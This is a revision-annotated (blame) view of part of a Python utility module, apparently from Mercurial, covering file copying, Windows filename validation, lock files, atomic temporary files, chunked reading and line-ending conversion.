r36799 | advanced = ( | ||
|
r43346 | oldstat.stat[stat.ST_MTIME] + 1 | ||
) & 0x7FFFFFFF | ||||
|
r29204 | os.utime(dest, (advanced, advanced)) | ||
|
r25660 | except shutil.Error as inst: | ||
|
r37114 | raise error.Abort(str(inst)) | ||
|
r3629 | |||
|
r43346 | |||
|
r38399 | def copyfiles(src, dst, hardlink=None, progress=None): | ||
|
r24439 | """Copy a directory tree using hardlinks if possible.""" | ||
num = 0 | ||||
|
r1241 | |||
|
r38399 | def settopic(): | ||
if progress: | ||||
|
r43347 | progress.topic = _(b'linking') if hardlink else _(b'copying') | ||
|
r698 | |||
|
r1207 | if os.path.isdir(src): | ||
|
r31719 | if hardlink is None: | ||
|
r43346 | hardlink = ( | ||
os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev | ||||
) | ||||
|
r38399 | settopic() | ||
|
r1207 | os.mkdir(dst) | ||
|
r32203 | for name, kind in listdir(src): | ||
|
r1207 | srcname = os.path.join(src, name) | ||
dstname = os.path.join(dst, name) | ||||
|
r38399 | hardlink, n = copyfiles(srcname, dstname, hardlink, progress) | ||
|
r11251 | num += n | ||
|
r1207 | else: | ||
|
r31719 | if hardlink is None: | ||
|
r43346 | hardlink = ( | ||
os.stat(os.path.dirname(src)).st_dev | ||||
== os.stat(os.path.dirname(dst)).st_dev | ||||
) | ||||
|
r38399 | settopic() | ||
|
r31719 | |||
|
r1241 | if hardlink: | ||
try: | ||||
|
r14235 | oslink(src, dst) | ||
|
r2050 | except (IOError, OSError): | ||
|
r1241 | hardlink = False | ||
|
r1591 | shutil.copy(src, dst) | ||
|
r1241 | else: | ||
|
r1591 | shutil.copy(src, dst) | ||
|
r11251 | num += 1 | ||
|
r38399 | if progress: | ||
progress.increment() | ||||
|
r698 | |||
|
r11251 | return hardlink, num | ||
|
r11254 | |||
|
r43346 | |||
|
r34054 | _winreservednames = { | ||
|
r43347 | b'con', | ||
b'prn', | ||||
b'aux', | ||||
b'nul', | ||||
b'com1', | ||||
b'com2', | ||||
b'com3', | ||||
b'com4', | ||||
b'com5', | ||||
b'com6', | ||||
b'com7', | ||||
b'com8', | ||||
b'com9', | ||||
b'lpt1', | ||||
b'lpt2', | ||||
b'lpt3', | ||||
b'lpt4', | ||||
b'lpt5', | ||||
b'lpt6', | ||||
b'lpt7', | ||||
b'lpt8', | ||||
b'lpt9', | ||||
|
r34054 | } | ||
|
r43347 | _winreservedchars = b':*?"<>|' | ||
|
r43346 | |||
|
r13916 | def checkwinfilename(path): | ||
|
r20000 | r'''Check that the base-relative path is a valid filename on Windows. | ||
|
r13916 | Returns None if the path is ok, or a UI string describing the problem. | ||
|
r34133 | >>> checkwinfilename(b"just/a/normal/path") | ||
>>> checkwinfilename(b"foo/bar/con.xml") | ||||
|
r13916 | "filename contains 'con', which is reserved on Windows" | ||
|
r34133 | >>> checkwinfilename(b"foo/con.xml/bar") | ||
|
r13916 | "filename contains 'con', which is reserved on Windows" | ||
|
r34133 | >>> checkwinfilename(b"foo/bar/xml.con") | ||
>>> checkwinfilename(b"foo/bar/AUX/bla.txt") | ||||
|
r13916 | "filename contains 'AUX', which is reserved on Windows" | ||
|
r34133 | >>> checkwinfilename(b"foo/bar/bla:.txt") | ||
|
r13916 | "filename contains ':', which is reserved on Windows" | ||
|
r34133 | >>> checkwinfilename(b"foo/bar/b\07la.txt") | ||
|
r20000 | "filename contains '\\x07', which is invalid on Windows" | ||
|
r34133 | >>> checkwinfilename(b"foo/bar/bla ") | ||
|
r13916 | "filename ends with ' ', which is not allowed on Windows" | ||
|
r34133 | >>> checkwinfilename(b"../bar") | ||
>>> checkwinfilename(b"foo\\") | ||||
|
r20000 | "filename ends with '\\', which is invalid on Windows" | ||
|
r34133 | >>> checkwinfilename(b"foo\\/bar") | ||
|
r20000 | "directory name ends with '\\', which is invalid on Windows" | ||
|
r13916 | ''' | ||
|
r43347 | if path.endswith(b'\\'): | ||
return _(b"filename ends with '\\', which is invalid on Windows") | ||||
if b'\\/' in path: | ||||
return _(b"directory name ends with '\\', which is invalid on Windows") | ||||
for n in path.replace(b'\\', b'/').split(b'/'): | ||||
|
r13916 | if not n: | ||
continue | ||||
|
r32566 | for c in _filenamebytestr(n): | ||
|
r14262 | if c in _winreservedchars: | ||
|
r43346 | return ( | ||
|
r43347 | _( | ||
b"filename contains '%s', which is reserved " | ||||
b"on Windows" | ||||
) | ||||
|
r43346 | % c | ||
) | ||||
|
r13916 | if ord(c) <= 31: | ||
|
r43346 | return _( | ||
|
r43387 | b"filename contains '%s', which is invalid on Windows" | ||
|
r43346 | ) % stringutil.escapestr(c) | ||
|
r43347 | base = n.split(b'.')[0] | ||
|
r14262 | if base and base.lower() in _winreservednames: | ||
|
r43346 | return ( | ||
|
r43387 | _(b"filename contains '%s', which is reserved on Windows") | ||
|
r43346 | % base | ||
) | ||||
|
r34357 | t = n[-1:] | ||
|
r43347 | if t in b'. ' and n not in b'..': | ||
|
r43346 | return ( | ||
|
r43347 | _( | ||
b"filename ends with '%s', which is not allowed " | ||||
b"on Windows" | ||||
) | ||||
|
r43346 | % t | ||
) | ||||
|
r13916 | |||
|
r34646 | if pycompat.iswindows: | ||
|
r13916 | checkosfilename = checkwinfilename | ||
|
r30974 | timer = time.clock | ||
|
r7890 | else: | ||
|
r14926 | checkosfilename = platform.checkosfilename | ||
|
r30974 | timer = time.time | ||
if safehasattr(time, "perf_counter"): | ||||
timer = time.perf_counter | ||||
|
r7890 | |||
|
r43346 | |||
|
r7890 | def makelock(info, pathname): | ||
|
r36717 | """Create a lock file atomically if possible | ||
This may leave a stale lock file if symlink isn't supported and signal | ||||
interrupt is enabled. | ||||
""" | ||||
|
r7890 | try: | ||
return os.symlink(info, pathname) | ||||
|
r25660 | except OSError as why: | ||
|
r7890 | if why.errno == errno.EEXIST: | ||
raise | ||||
|
r43346 | except AttributeError: # no symlink in os | ||
|
r7890 | pass | ||
|
r36801 | flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0) | ||
ld = os.open(pathname, flags) | ||||
|
r704 | os.write(ld, info) | ||
os.close(ld) | ||||
|
r43346 | |||
|
r7890 | def readlock(pathname): | ||
try: | ||||
|
r39940 | return readlink(pathname) | ||
|
r25660 | except OSError as why: | ||
|
r7890 | if why.errno not in (errno.EINVAL, errno.ENOSYS): | ||
raise | ||||
|
r43346 | except AttributeError: # no symlink in os | ||
|
r7890 | pass | ||
|
r43347 | with posixfile(pathname, b'rb') as fp: | ||
|
r39941 | return fp.read() | ||
|
r704 | |||
|
r43346 | |||
|
r2176 | def fstat(fp): | ||
'''stat file object that may not have fileno method.''' | ||||
try: | ||||
return os.fstat(fp.fileno()) | ||||
except AttributeError: | ||||
return os.stat(fp.name) | ||||
|
r43346 | |||
|
r3784 | # File system features | ||
|
r43346 | |||
|
r29889 | def fscasesensitive(path): | ||
|
r3784 | """ | ||
|
r18911 | Return true if the given path is on a case-sensitive filesystem | ||
|
r3784 | |||
Requires a path (like /foo/.hg) ending with a foldable final | ||||
directory component. | ||||
""" | ||||
|
r24902 | s1 = os.lstat(path) | ||
|
r3784 | d, b = os.path.split(path) | ||
|
r15667 | b2 = b.upper() | ||
if b == b2: | ||||
b2 = b.lower() | ||||
if b == b2: | ||||
|
r43346 | return True # no evidence against case sensitivity | ||
|
r15667 | p2 = os.path.join(d, b2) | ||
|
r3784 | try: | ||
|
r24902 | s2 = os.lstat(p2) | ||
|
r3784 | if s2 == s1: | ||
return False | ||||
return True | ||||
|
r14004 | except OSError: | ||
|
r3784 | return True | ||
|
r43346 | |||
|
r16943 | try: | ||
import re2 | ||||
|
r43346 | |||
|
r16943 | _re2 = None | ||
except ImportError: | ||||
_re2 = False | ||||
|
r43346 | |||
|
r21908 | class _re(object): | ||
|
r21913 | def _checkre2(self): | ||
global _re2 | ||||
try: | ||||
# check if match works, see issue3964 | ||||
|
r43347 | _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]')) | ||
|
r21913 | except ImportError: | ||
_re2 = False | ||||
|
r21908 | def compile(self, pat, flags=0): | ||
'''Compile a regular expression, using re2 if possible | ||||
|
r16943 | |||
|
r21908 | For best performance, use only re2-compatible regexp features. The | ||
only flags from the re module that are re2-compatible are | ||||
IGNORECASE and MULTILINE.''' | ||||
if _re2 is None: | ||||
|
r21913 | self._checkre2() | ||
|
r21908 | if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: | ||
if flags & remod.IGNORECASE: | ||||
|
r43347 | pat = b'(?i)' + pat | ||
|
r21908 | if flags & remod.MULTILINE: | ||
|
r43347 | pat = b'(?m)' + pat | ||
|
r21908 | try: | ||
return re2.compile(pat) | ||||
except re2.error: | ||||
pass | ||||
return remod.compile(pat, flags) | ||||
|
r21914 | @propertycache | ||
def escape(self): | ||||
'''Return the version of escape corresponding to self.compile. | ||||
This is imperfect because whether re2 or re is used for a particular | ||||
function depends on the flags, etc, but it's the best we can do. | ||||
''' | ||||
global _re2 | ||||
if _re2 is None: | ||||
self._checkre2() | ||||
if _re2: | ||||
return re2.escape | ||||
else: | ||||
return remod.escape | ||||
|
r43346 | |||
|
r21908 | re = _re() | ||
|
r16943 | |||
|
r6676 | _fspathcache = {} | ||
|
r43346 | |||
|
r6676 | def fspath(name, root): | ||
'''Get name in the case stored in the filesystem | ||||
|
r15710 | The name should be relative to root, and be normcase-ed for efficiency. | ||
Note that this function is unnecessary, and should not be | ||||
|
r6676 | called, for case-sensitive filesystems (simply because it's expensive). | ||
|
r15670 | |||
|
r15710 | The root should be normcase-ed, too. | ||
|
r6676 | ''' | ||
|
r43346 | |||
|
r23097 | def _makefspathcacheentry(dir): | ||
return dict((normcase(n), n) for n in os.listdir(dir)) | ||||
|
r15709 | |||
|
r30613 | seps = pycompat.ossep | ||
|
r30625 | if pycompat.osaltsep: | ||
seps = seps + pycompat.osaltsep | ||||
|
r6676 | # Protect backslashes. This gets silly very quickly. | ||
|
r43347 | seps.replace(b'\\', b'\\\\') | ||
|
r31496 | pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) | ||
|
r15669 | dir = os.path.normpath(root) | ||
|
r6676 | result = [] | ||
for part, sep in pattern.findall(name): | ||||
if sep: | ||||
result.append(sep) | ||||
continue | ||||
|
r15719 | if dir not in _fspathcache: | ||
|
r23097 | _fspathcache[dir] = _makefspathcacheentry(dir) | ||
|
r15719 | contents = _fspathcache[dir] | ||
|
r6676 | |||
|
r23097 | found = contents.get(part) | ||
|
r15709 | if not found: | ||
|
r15720 | # retry "once per directory" per "dirstate.walk" which | ||
# may take place for each patches of "hg qpush", for example | ||||
|
r23097 | _fspathcache[dir] = contents = _makefspathcacheentry(dir) | ||
found = contents.get(part) | ||||
|
r15709 | |||
result.append(found or part) | ||||
|
r15669 | dir = os.path.join(dir, part) | ||
|
r6676 | |||
|
r43347 | return b''.join(result) | ||
|
r6676 | |||
|
r43346 | |||
|
r12938 | def checknlink(testfile): | ||
'''check whether hardlink count reporting works properly''' | ||||
|
r13204 | # testfile may be open, so we need a separate file for checking to | ||
# work around issue2543 (or testfile may get lost on Samba shares) | ||||
|
r34086 | f1, f2, fp = None, None, None | ||
|
r12938 | try: | ||
|
r43346 | fd, f1 = pycompat.mkstemp( | ||
|
r43347 | prefix=b'.%s-' % os.path.basename(testfile), | ||
suffix=b'1~', | ||||
|
r43346 | dir=os.path.dirname(testfile), | ||
) | ||||
|
r34081 | os.close(fd) | ||
|
r43347 | f2 = b'%s2~' % f1[:-2] | ||
|
r34081 | |||
|
r25088 | oslink(f1, f2) | ||
|
r12938 | # nlinks() may behave differently for files on Windows shares if | ||
# the file is open. | ||||
|
r34086 | fp = posixfile(f2) | ||
|
r13204 | return nlinks(f2) > 1 | ||
|
r25088 | except OSError: | ||
return False | ||||
|
r12938 | finally: | ||
|
r34086 | if fp is not None: | ||
fp.close() | ||||
|
r13204 | for f in (f1, f2): | ||
try: | ||||
|
r34081 | if f is not None: | ||
os.unlink(f) | ||||
|
r13204 | except OSError: | ||
pass | ||||
|
r12938 | |||
|
r43346 | |||
|
r5843 | def endswithsep(path): | ||
'''Check path ends with os.sep or os.altsep.''' | ||||
|
r43346 | return ( | ||
path.endswith(pycompat.ossep) | ||||
or pycompat.osaltsep | ||||
and path.endswith(pycompat.osaltsep) | ||||
) | ||||
|
r5843 | |||
|
r5844 | def splitpath(path): | ||
'''Split path by os.sep. | ||||
Note that this function does not use os.altsep because this is | ||||
an alternative of simple "xxx.split(os.sep)". | ||||
It is recommended to use os.path.normpath() before using this | ||||
function if need.''' | ||||
|
r30613 | return path.split(pycompat.ossep) | ||
|
r5844 | |||
|
r43346 | |||
|
r41325 | def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False): | ||
|
r4827 | """Create a temporary file with the same contents from name | ||
The permission bits are copied from the original file. | ||||
If the temporary file is going to be truncated immediately, you | ||||
can use emptyok=True as an optimization. | ||||
Returns the name of the temporary file. | ||||
|
r2176 | """ | ||
|
r4827 | d, fn = os.path.split(name) | ||
|
r43347 | fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d) | ||
|
r4827 | os.close(fd) | ||
# Temporary files are created with mode 0600, which is usually not | ||||
# what we want. If the original file already exists, just copy | ||||
# its mode. Otherwise, manually obey umask. | ||||
|
r41325 | copymode(name, temp, createmode, enforcewritable) | ||
|
r4827 | if emptyok: | ||
return temp | ||||
try: | ||||
try: | ||||
|
r43347 | ifp = posixfile(name, b"rb") | ||
|
r25660 | except IOError as inst: | ||
|
r4827 | if inst.errno == errno.ENOENT: | ||
return temp | ||||
if not getattr(inst, 'filename', None): | ||||
inst.filename = name | ||||
raise | ||||
|
r43347 | ofp = posixfile(temp, b"wb") | ||
|
r4827 | for chunk in filechunkiter(ifp): | ||
ofp.write(chunk) | ||||
ifp.close() | ||||
ofp.close() | ||||
|
r43346 | except: # re-raises | ||
|
r34436 | try: | ||
os.unlink(temp) | ||||
except OSError: | ||||
pass | ||||
|
r4827 | raise | ||
return temp | ||||
|
r2176 | |||
|
r43346 | |||
|
r29200 | class filestat(object): | ||
"""help to exactly detect change of a file | ||||
'stat' attribute is result of 'os.stat()' if specified 'path' | ||||
exists. Otherwise, it is None. This can avoid preparative | ||||
'exists()' examination on client side of this class. | ||||
""" | ||||
|
r43346 | |||
|
r32772 | def __init__(self, stat): | ||
self.stat = stat | ||||
@classmethod | ||||
def frompath(cls, path): | ||||
|
r29200 | try: | ||
|
r32772 | stat = os.stat(path) | ||
|
r29200 | except OSError as err: | ||
if err.errno != errno.ENOENT: | ||||
raise | ||||
|
r32772 | stat = None | ||
return cls(stat) | ||||
|
r29200 | |||
|
r32816 | @classmethod | ||
def fromfp(cls, fp): | ||||
stat = os.fstat(fp.fileno()) | ||||
return cls(stat) | ||||
|
r29200 | __hash__ = object.__hash__ | ||
def __eq__(self, old): | ||||
try: | ||||
# if ambiguity between stat of new and old file is | ||||
|
r30332 | # avoided, comparison of size, ctime and mtime is enough | ||
|
r29200 | # to exactly detect change of a file regardless of platform | ||
|
r43346 | return ( | ||
self.stat.st_size == old.stat.st_size | ||||
and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] | ||||
and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME] | ||||
) | ||||
|
r29200 | except AttributeError: | ||
|
r32749 | pass | ||
try: | ||||
return self.stat is None and old.stat is None | ||||
except AttributeError: | ||||
|
r29200 | return False | ||
def isambig(self, old): | ||||
"""Examine whether new (= self) stat is ambiguous against old one | ||||
"S[N]" below means stat of a file at N-th change: | ||||
- S[n-1].ctime < S[n].ctime: can detect change of a file | ||||
- S[n-1].ctime == S[n].ctime | ||||
- S[n-1].ctime < S[n].mtime: means natural advancing (*1) | ||||
- S[n-1].ctime == S[n].mtime: is ambiguous (*2) | ||||
- S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) | ||||
- S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) | ||||
Case (*2) above means that a file was changed twice or more at | ||||
same time in sec (= S[n-1].ctime), and comparison of timestamp | ||||
is ambiguous. | ||||
Base idea to avoid such ambiguity is "advance mtime 1 sec, if | ||||
timestamp is ambiguous". | ||||
But advancing mtime only in case (*2) doesn't work as | ||||
expected, because naturally advanced S[n].mtime in case (*1) | ||||
might be equal to manually advanced S[n-1 or earlier].mtime. | ||||
Therefore, all "S[n-1].ctime == S[n].ctime" cases should be | ||||
treated as ambiguous regardless of mtime, to avoid overlooking | ||||
by confliction between such mtime. | ||||
Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != | ||||
S[n].mtime", even if size of a file isn't changed. | ||||
""" | ||||
try: | ||||
|
r43346 | return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] | ||
|
r29200 | except AttributeError: | ||
return False | ||||
|
r30319 | def avoidambig(self, path, old): | ||
"""Change file stat of specified path to avoid ambiguity | ||||
'old' should be previous filestat of 'path'. | ||||
This skips avoiding ambiguity, if a process doesn't have | ||||
|
r32746 | appropriate privileges for 'path'. This returns False in this | ||
case. | ||||
Otherwise, this returns True, as "ambiguity is avoided". | ||||
|
r30319 | """ | ||
|
r43346 | advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF | ||
|
r30319 | try: | ||
os.utime(path, (advanced, advanced)) | ||||
except OSError as inst: | ||||
if inst.errno == errno.EPERM: | ||||
# utime() on the file created by another user causes EPERM, | ||||
# if a process doesn't have appropriate privileges | ||||
|
r32746 | return False | ||
|
r30319 | raise | ||
|
r32746 | return True | ||
|
r30319 | |||
|
r29298 | def __ne__(self, other): | ||
return not self == other | ||||
|
r43346 | |||
|
r8778 | class atomictempfile(object): | ||
|
r17424 | '''writable file object that atomically updates a file | ||
|
r4827 | |||
|
r14008 | All writes will go to a temporary copy of the original file. Call | ||
|
r15057 | close() when you are done writing, and atomictempfile will rename | ||
the temporary copy to the original name, making the changes | ||||
visible. If the object is destroyed without being closed, all your | ||||
writes are discarded. | ||||
|
r29367 | |||
checkambig argument of constructor is used with filestat, and is | ||||
useful only if target file is guarded by any lock (e.g. repo.lock | ||||
or repo.wlock). | ||||
|
r14008 | ''' | ||
|
r43346 | |||
|
r43347 | def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False): | ||
|
r43346 | self.__name = name # permanent name | ||
self._tempname = mktempcopy( | ||||
name, | ||||
|
r43347 | emptyok=(b'w' in mode), | ||
|
r43346 | createmode=createmode, | ||
|
r43347 | enforcewritable=(b'w' in mode), | ||
|
r43346 | ) | ||
|
r41325 | |||
|
r14007 | self._fp = posixfile(self._tempname, mode) | ||
|
r29201 | self._checkambig = checkambig | ||
|
r8327 | |||
|
r14007 | # delegated methods | ||
|
r29393 | self.read = self._fp.read | ||
|
r14007 | self.write = self._fp.write | ||
|
r17237 | self.seek = self._fp.seek | ||
self.tell = self._fp.tell | ||||
|
r14007 | self.fileno = self._fp.fileno | ||
|
r4827 | |||
|
r15057 | def close(self): | ||
|
r8785 | if not self._fp.closed: | ||
|
r8327 | self._fp.close() | ||
|
r29201 | filename = localpath(self.__name) | ||
|
r32772 | oldstat = self._checkambig and filestat.frompath(filename) | ||
|
r29201 | if oldstat and oldstat.stat: | ||
rename(self._tempname, filename) | ||||
|
r32772 | newstat = filestat.frompath(filename) | ||
|
r29201 | if newstat.isambig(oldstat): | ||
# stat of changed file is ambiguous to original one | ||||
|
r43346 | advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF | ||
|
r29201 | os.utime(filename, (advanced, advanced)) | ||
else: | ||||
rename(self._tempname, filename) | ||||
|
r4827 | |||
|
r15057 | def discard(self): | ||
|
r8785 | if not self._fp.closed: | ||
|
r4827 | try: | ||
|
r14007 | os.unlink(self._tempname) | ||
except OSError: | ||||
pass | ||||
|
r8327 | self._fp.close() | ||
|
r4827 | |||
|
r13098 | def __del__(self): | ||
|
r43346 | if safehasattr(self, '_fp'): # constructor actually did something | ||
|
r15057 | self.discard() | ||
|
r13098 | |||
|
r29394 | def __enter__(self): | ||
return self | ||||
def __exit__(self, exctype, excvalue, traceback): | ||||
if exctype is not None: | ||||
self.discard() | ||||
else: | ||||
self.close() | ||||
|
r43346 | |||
|
r38512 | def unlinkpath(f, ignoremissing=False, rmdir=True): | ||
|
r31539 | """unlink and remove the directory if it is empty""" | ||
|
r31541 | if ignoremissing: | ||
tryunlink(f) | ||||
else: | ||||
|
r31539 | unlink(f) | ||
|
r38512 | if rmdir: | ||
# try removing directories that might now be empty | ||||
try: | ||||
removedirs(os.path.dirname(f)) | ||||
except OSError: | ||||
pass | ||||
|
r31539 | |||
|
r43346 | |||
|
r31540 | def tryunlink(f): | ||
"""Attempt to remove a file, ignoring ENOENT errors.""" | ||||
try: | ||||
unlink(f) | ||||
except OSError as e: | ||||
if e.errno != errno.ENOENT: | ||||
raise | ||||
|
r43346 | |||
|
r18938 | def makedirs(name, mode=None, notindexed=False): | ||
|
r29017 | """recursive directory creation with parent mode inheritance | ||
Newly created directories are marked as "not to be indexed by | ||||
the content indexing service", if ``notindexed`` is specified | ||||
for "write" mode access. | ||||
""" | ||||
|
r6062 | try: | ||
|
r18938 | makedir(name, notindexed) | ||
|
r25660 | except OSError as err: | ||
|
r6062 | if err.errno == errno.EEXIST: | ||
return | ||||
|
r15058 | if err.errno != errno.ENOENT or not name: | ||
raise | ||||
parent = os.path.dirname(os.path.abspath(name)) | ||||
if parent == name: | ||||
|
r6062 | raise | ||
|
r18938 | makedirs(parent, mode, notindexed) | ||
|
r29017 | try: | ||
makedir(name, notindexed) | ||||
except OSError as err: | ||||
# Catch EEXIST to handle races | ||||
if err.errno == errno.EEXIST: | ||||
return | ||||
raise | ||||
|
r18678 | if mode is not None: | ||
os.chmod(name, mode) | ||||
|
r18668 | |||
|
r43346 | |||
|
r14099 | def readfile(path): | ||
|
r43347 | with open(path, b'rb') as fp: | ||
|
r14100 | return fp.read() | ||
|
r14099 | |||
|
r43346 | |||
|
r14167 | def writefile(path, text): | ||
|
r43347 | with open(path, b'wb') as fp: | ||
|
r14167 | fp.write(text) | ||
|
r43346 | |||
|
r14167 | def appendfile(path, text): | ||
|
r43347 | with open(path, b'ab') as fp: | ||
|
r14099 | fp.write(text) | ||
|
r43346 | |||
|
r1199 | class chunkbuffer(object): | ||
"""Allow arbitrary sized chunks of data to be efficiently read from an | ||||
iterator over chunks of arbitrary size.""" | ||||
|
r1200 | |||
|
r5446 | def __init__(self, in_iter): | ||
|
r32123 | """in_iter is the iterator that's iterating over the input chunks.""" | ||
|
r43346 | |||
|
r11670 | def splitbig(chunks): | ||
for chunk in chunks: | ||||
|
r43346 | if len(chunk) > 2 ** 20: | ||
|
r11670 | pos = 0 | ||
while pos < len(chunk): | ||||
end = pos + 2 ** 18 | ||||
yield chunk[pos:end] | ||||
pos = end | ||||
else: | ||||
yield chunk | ||||
|
r43346 | |||
|
r11670 | self.iter = splitbig(in_iter) | ||
|
r25113 | self._queue = collections.deque() | ||
|
r26480 | self._chunkoffset = 0 | ||
|
r1200 | |||
|
r21018 | def read(self, l=None): | ||
|
r1200 | """Read L bytes of data from the iterator of chunks of data. | ||
|
r21018 | Returns less than L bytes if the iterator runs dry. | ||
|
r23139 | If size parameter is omitted, read everything""" | ||
|
r26478 | if l is None: | ||
|
r43347 | return b''.join(self.iter) | ||
|
r26478 | |||
|
r11758 | left = l | ||
|
r17962 | buf = [] | ||
|
r16873 | queue = self._queue | ||
|
r26478 | while left > 0: | ||
|
r11758 | # refill the queue | ||
if not queue: | ||||
|
r43346 | target = 2 ** 18 | ||
|
r11758 | for chunk in self.iter: | ||
queue.append(chunk) | ||||
target -= len(chunk) | ||||
if target <= 0: | ||||
break | ||||
if not queue: | ||||
|
r1199 | break | ||
|
r11758 | |||
|
r26480 | # The easy way to do this would be to queue.popleft(), modify the | ||
# chunk (if necessary), then queue.appendleft(). However, for cases | ||||
# where we read partial chunk content, this incurs 2 dequeue | ||||
# mutations and creates a new str for the remaining chunk in the | ||||
# queue. Our code below avoids this overhead. | ||||
|
r26479 | chunk = queue[0] | ||
chunkl = len(chunk) | ||||
|
r26480 | offset = self._chunkoffset | ||
|
r26479 | |||
# Use full chunk. | ||||
|
r26480 | if offset == 0 and left >= chunkl: | ||
|
r26479 | left -= chunkl | ||
queue.popleft() | ||||
buf.append(chunk) | ||||
|
r26480 | # self._chunkoffset remains at 0. | ||
continue | ||||
chunkremaining = chunkl - offset | ||||
# Use all of unconsumed part of chunk. | ||||
if left >= chunkremaining: | ||||
left -= chunkremaining | ||||
queue.popleft() | ||||
# offset == 0 is enabled by block above, so this won't merely | ||||
# copy via ``chunk[0:]``. | ||||
buf.append(chunk[offset:]) | ||||
self._chunkoffset = 0 | ||||
|
r26479 | # Partial chunk needed. | ||
else: | ||||
|
r43346 | buf.append(chunk[offset : offset + left]) | ||
|
r26480 | self._chunkoffset += left | ||
left -= chunkremaining | ||||
|
r11758 | |||
|
r43347 | return b''.join(buf) | ||
|
r11758 | |||
|
r43346 | |||
|
r30181 | def filechunkiter(f, size=131072, limit=None): | ||
|
r2462 | """Create a generator that produces the data in the file size | ||
|
r30181 | (default 131072) bytes at a time, up to optional limit (default is | ||
|
r2462 | to read all data). Chunks may be less than size bytes if the | ||
chunk is the last chunk in the file, or the file is a socket or | ||||
some other type of file that sometimes reads less data than is | ||||
requested.""" | ||||
assert size >= 0 | ||||
assert limit is None or limit >= 0 | ||||
while True: | ||||
|
r10282 | if limit is None: | ||
nbytes = size | ||||
else: | ||||
nbytes = min(limit, size) | ||||
|
r2462 | s = nbytes and f.read(nbytes) | ||
|
r10282 | if not s: | ||
break | ||||
if limit: | ||||
limit -= len(s) | ||||
|
r1199 | yield s | ||
|
r1320 | |||
|
r43346 | |||
|
r36382 | class cappedreader(object): | ||
"""A file object proxy that allows reading up to N bytes. | ||||
Given a source file object, instances of this type allow reading up to | ||||
N bytes from that source file object. Attempts to read past the allowed | ||||
limit are treated as EOF. | ||||
It is assumed that I/O is not performed on the original file object | ||||
in addition to I/O that is performed by this instance. If there is, | ||||
state tracking will get out of sync and unexpected results will ensue. | ||||
""" | ||||
|
r43346 | |||
|
r36382 | def __init__(self, fh, limit): | ||
"""Allow reading up to <limit> bytes from <fh>.""" | ||||
self._fh = fh | ||||
self._left = limit | ||||
def read(self, n=-1): | ||||
if not self._left: | ||||
return b'' | ||||
if n < 0: | ||||
n = self._left | ||||
data = self._fh.read(min(n, self._left)) | ||||
self._left -= len(data) | ||||
assert self._left >= 0 | ||||
return data | ||||
|
r37070 | def readinto(self, b): | ||
res = self.read(len(b)) | ||||
if res is None: | ||||
return None | ||||
|
r43346 | b[0 : len(res)] = res | ||
|
r37070 | return len(res) | ||
|
r43346 | |||
|
r18735 | def unitcountfn(*unittable): | ||
'''return a function that renders a readable count of some quantity''' | ||||
def go(count): | ||||
for multiplier, divisor, format in unittable: | ||||
|
r31946 | if abs(count) >= divisor * multiplier: | ||
|
r18735 | return format % (count / float(divisor)) | ||
return unittable[-1][2] % count | ||||
return go | ||||
|
r43346 | |||
|
r31662 | def processlinerange(fromline, toline): | ||
"""Check that linerange <fromline>:<toline> makes sense and return a | ||||
0-based range. | ||||
>>> processlinerange(10, 20) | ||||
(9, 20) | ||||
>>> processlinerange(2, 1) | ||||
Traceback (most recent call last): | ||||
... | ||||
ParseError: line range must be positive | ||||
>>> processlinerange(0, 5) | ||||
Traceback (most recent call last): | ||||
... | ||||
ParseError: fromline must be strictly positive | ||||
""" | ||||
if toline - fromline < 0: | ||||
|
r43347 | raise error.ParseError(_(b"line range must be positive")) | ||
|
r31662 | if fromline < 1: | ||
|
r43347 | raise error.ParseError(_(b"fromline must be strictly positive")) | ||
|
r31662 | return fromline - 1, toline | ||
|
r43346 | |||
|
r18735 | bytecount = unitcountfn( | ||
|
r43347 | (100, 1 << 30, _(b'%.0f GB')), | ||
(10, 1 << 30, _(b'%.1f GB')), | ||||
(1, 1 << 30, _(b'%.2f GB')), | ||||
(100, 1 << 20, _(b'%.0f MB')), | ||||
(10, 1 << 20, _(b'%.1f MB')), | ||||
(1, 1 << 20, _(b'%.2f MB')), | ||||
(100, 1 << 10, _(b'%.0f KB')), | ||||
(10, 1 << 10, _(b'%.1f KB')), | ||||
(1, 1 << 10, _(b'%.2f KB')), | ||||
(1, 1, _(b'%.0f bytes')), | ||||
|
r43346 | ) | ||
|
r16397 | |||
|
r36855 | class transformingwriter(object): | ||
"""Writable file wrapper to transform data by function""" | ||||
def __init__(self, fp, encode): | ||||
self._fp = fp | ||||
self._encode = encode | ||||
def close(self): | ||||
self._fp.close() | ||||
def flush(self): | ||||
self._fp.flush() | ||||
def write(self, data): | ||||
return self._fp.write(self._encode(data)) | ||||
|
r43346 | |||
|
r31776 | # Matches a single EOL which can either be a CRLF where repeated CR | ||
# are removed or a LF. We do not care about old Macintosh files, so a | ||||
# stray CR is an error. | ||||
_eolre = remod.compile(br'\r*\n') | ||||
|
r43346 | |||
|
r31776 | def tolf(s): | ||
|
r43347 | return _eolre.sub(b'\n', s) | ||
|
r31776 | |||
|
r43346 | |||
|
r31776 | def tocrlf(s): | ||
|
r43347 | return _eolre.sub(b'\r\n', s) | ||
|
r31776 | |||
|
r43346 | |||
|
r36855 | def _crlfwriter(fp): | ||
return transformingwriter(fp, tocrlf) | ||||
|
r43346 | |||
|
r43347 | if pycompat.oslinesep == b'\r\n': | ||
|
r31777 | tonativeeol = tocrlf | ||
fromnativeeol = tolf | ||||
|
r36855 | nativeeolwriter = _crlfwriter | ||
|
r31777 | else: | ||
tonativeeol = pycompat.identity | ||||
fromnativeeol = pycompat.identity | ||||
|
r36855 | nativeeolwriter = pycompat.identity | ||
|
